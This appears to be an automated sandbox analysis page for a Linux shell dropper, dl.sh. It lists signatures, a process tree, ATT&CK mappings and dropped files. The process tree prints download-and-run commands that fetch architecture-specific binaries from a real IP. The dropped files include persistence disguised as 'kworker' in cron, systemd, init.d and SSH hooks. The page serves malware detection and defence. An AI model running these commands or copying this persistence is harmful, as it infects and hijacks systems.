Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

7

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/09/2026, 18:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 967B
  • Sample260930-w3prbseh69
  • SHA256 80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 5 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 4 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 5 IoCs
    persistence
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Enumerates kernel/hardware configuration 1 TTPs 23 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/uname
      uname -m
      2⤵
        PID:644
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:647
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:650
        • /bin/rm
          rm -f .xt
          2⤵
            PID:652
          • /bin/rm
            rm -f w
            2⤵
              PID:655
            • /usr/bin/wget
              wget -qO w http://23.95.228.20/wife.armv7l
              2⤵
                PID:658
              • /usr/bin/curl
                curl -so w http://23.95.228.20/wife.armv7l
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:675
              • /bin/chmod
                chmod +x w
                2⤵
                • File and Directory Permissions Modification
                PID:677
              • /var/tmp/w
                ./w
                2⤵
                  PID:678
                • /bin/sh
                  /bin/sh ./w
                  2⤵
                    PID:678
                  • /bin/rm
                    rm -f w
                    2⤵
                      PID:679
                    • /usr/bin/wget
                      wget -qO w http://23.95.228.20/wife.armv7l
                      2⤵
                        PID:680
                      • /usr/bin/curl
                        curl -so w http://23.95.228.20/wife.armv7l
                        2⤵
                        • Checks CPU configuration
                        PID:681
                      • /bin/chmod
                        chmod +x w
                        2⤵
                        • File and Directory Permissions Modification
                        PID:682
                      • /var/tmp/w
                        ./w
                        2⤵
                          PID:683
                        • /bin/sh
                          /bin/sh ./w
                          2⤵
                            PID:683
                          • /bin/rm
                            rm -f w
                            2⤵
                              PID:684
                            • /usr/bin/wget
                              wget -qO w http://23.95.228.20/wife.x86_64
                              2⤵
                                PID:685
                              • /bin/chmod
                                chmod +x w
                                2⤵
                                • File and Directory Permissions Modification
                                PID:700
                              • /var/tmp/w
                                ./w
                                2⤵
                                  PID:701
                                • /bin/rm
                                  rm -f w
                                  2⤵
                                    PID:704
                                  • /usr/bin/wget
                                    wget -qO w http://23.95.228.20/wife.aarch64
                                    2⤵
                                      PID:705
                                    • /bin/chmod
                                      chmod +x w
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:722
                                    • /var/tmp/w
                                      ./w
                                      2⤵
                                        PID:724
                                      • /bin/rm
                                        rm -f w
                                        2⤵
                                          PID:726
                                        • /usr/bin/wget
                                          wget -qO w http://23.95.228.20/wife.mips64
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:727
                                        • /bin/chmod
                                          chmod +x w
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:741
                                        • /var/tmp/w
                                          ./w
                                          2⤵
                                            PID:742
                                          • /bin/rm
                                            rm -f w
                                            2⤵
                                              PID:744
                                            • /usr/bin/wget
                                              wget -qO w http://23.95.228.20/wife.arm7
                                              2⤵
                                                PID:745
                                              • /bin/chmod
                                                chmod +x w
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:746
                                              • /var/tmp/w
                                                ./w
                                                2⤵
                                                • Creates/modifies Cron job
                                                • Creates/modifies environment variables
                                                • Modifies init.d
                                                • Modifies rc script
                                                • Modifies systemd
                                                • Write file to user bin folder
                                                • Modifies Bash startup script
                                                • Changes its process name
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:747
                                              • /bin/rm
                                                rm -f w
                                                2⤵
                                                  PID:749
                                                • /bin/rm
                                                  rm -f /tmp/dl.sh
                                                  2⤵
                                                    PID:751

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Reconnaissance

                                                      Resource Development

                                                      Initial Access

                                                      Execution

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Persistence

                                                      Boot or Logon Autostart Execution

                                                      4
                                                      T1547

                                                      XDG Autostart Entries

                                                      1
                                                      T1547.013

                                                      Boot or Logon Initialization Scripts

                                                      2
                                                      T1037

                                                      RC Scripts

                                                      2
                                                      T1037.004

                                                      Create or Modify System Process

                                                      1
                                                      T1543

                                                      Systemd Service

                                                      1
                                                      T1543.002

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Unix Shell Configuration Modification

                                                      1
                                                      T1546.004

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Privilege Escalation

                                                      Boot or Logon Autostart Execution

                                                      4
                                                      T1547

                                                      XDG Autostart Entries

                                                      1
                                                      T1547.013

                                                      Boot or Logon Initialization Scripts

                                                      2
                                                      T1037

                                                      RC Scripts

                                                      2
                                                      T1037.004

                                                      Create or Modify System Process

                                                      1
                                                      T1543

                                                      Systemd Service

                                                      1
                                                      T1543.002

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Unix Shell Configuration Modification

                                                      1
                                                      T1546.004

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Defense Evasion

                                                      File and Directory Permissions Modification

                                                      1
                                                      T1222

                                                      Linux and Mac File and Directory Permissions Modification

                                                      1
                                                      T1222.002

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Virtualization/Sandbox Evasion

                                                      1
                                                      T1497

                                                      System Checks

                                                      1
                                                      T1497.001

                                                      Credential Access

                                                      Discovery

                                                      System Information Discovery

                                                      1
                                                      T1082

                                                      System Network Configuration Discovery

                                                      1
                                                      T1016

                                                      Virtualization/Sandbox Evasion

                                                      1
                                                      T1497

                                                      System Checks

                                                      1
                                                      T1497.001

                                                      Lateral Movement

                                                      Collection

                                                      Command and Control

                                                      Exfiltration

                                                      Impact

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      kworker
                                                      • Path /etc/cron.d/kworker
                                                      • Size 111B
                                                      • SHA256 4cd53d68cc1beeafb504fe6fccddaa37e4a87057b693ef218d94f7db06350f8c
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker
                                                      • Path /etc/cron.hourly/kworker
                                                      • Size 59B
                                                      • SHA256 3c4b5f0b1063049c971210ae2d5632494a04841b2d17f42e7dbaafffdb32d361
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker
                                                      • Path /etc/dhcp/dhclient-enter-hooks.d/kworker
                                                      • Size 75B
                                                      • SHA256 20dee1d5f755cef80a1d8fb6a589da294664c2880849a2c61b58a9e2fa916bc3
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker
                                                      • Path /etc/init.d/kworker
                                                      • Size 118B
                                                      • SHA256 eb5be8efa8827ad8257775ca199bd29fa4f20a1e4cc8a3e6d9dd381efbc20e4d
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker.sh
                                                      • Path /etc/profile.d/kworker.sh
                                                      • Size 66B
                                                      • SHA256 afdf673e11a9cc7d0df7751150559fe51ca70d9498212fa8b5b59738e5c7e4f5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      sshrc
                                                      • Path /etc/ssh/sshrc
                                                      • Size 65B
                                                      • SHA256 53896701c660762c02318d61d5040dfc445ed29d786a258e975cbc22c4215af5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker.service
                                                      • Path /etc/systemd/system/kworker.service
                                                      • Size 219B
                                                      • SHA256 da117dd0b8c7f6f576abac1c412c7f120a47a7b1a182b72bdc7629a99d943d0d
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      kworker
                                                      • Path /etc/update-motd.d/kworker
                                                      • Size 66B
                                                      • SHA256 c0dc3521aebc636e00344fb1eecd1511dcfa6a2d87a3f91f5de61ce6fa2945ef
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      .kwlog
                                                      • Path /tmp/.kwlog
                                                      • Size 329B
                                                      • SHA256 be9d7f1a6f6d2989e5055055408556509cb75efe2b2e5e41bfd1deb78d2a3880
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      wife.lock
                                                      • Path /tmp/wife.lock
                                                      • Size 4B
                                                      • SHA256 925592314026d1ddc2648e08319ba1e90b3b5f7423e337c54b70ff58b3cd033e
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      ksoftirqd.750.tmp
                                                      • Path /usr/bin/ksoftirqd.750.tmp
                                                      • Size 78KB
                                                      • SHA256 74f9ff9f9630f76926286dc42ee469ac4df44dc36e9e02f6309d559d3a76b75b
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      root
                                                      • Path /var/spool/cron/crontabs/root
                                                      • Size 58B
                                                      • SHA256 84701673df20e264f5fc390d59d6ab229eb69d184d084d461ce683874f125190
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      .xt
                                                      • Path /var/tmp/.xt
                                                      • Size 10B
                                                      • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      .xt
                                                      • Path /var/tmp/.xt
                                                      • Size 17B
                                                      • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      w
                                                      • Path /var/tmp/w
                                                      • Size 162B
                                                      • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      w
                                                      • Path /var/tmp/w
                                                      • Size 77KB
                                                      • SHA256 c74431bc2226f14650109f67068793b543ff47e9dfac808e9caf8d2ceae02fd2
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      w
                                                      • Path /var/tmp/w
                                                      • Size 83KB
                                                      • SHA256 5a814a5d21b1542bf779f35248f3ba74b72791aa11a5103b1a607e687aa23087
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      w
                                                      • Path /var/tmp/w
                                                      • Size 270KB
                                                      • SHA256 9872bdfa23f39f720a22ceba5e91b5d6e79ede0623f237c6dd0036bd5941be74
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download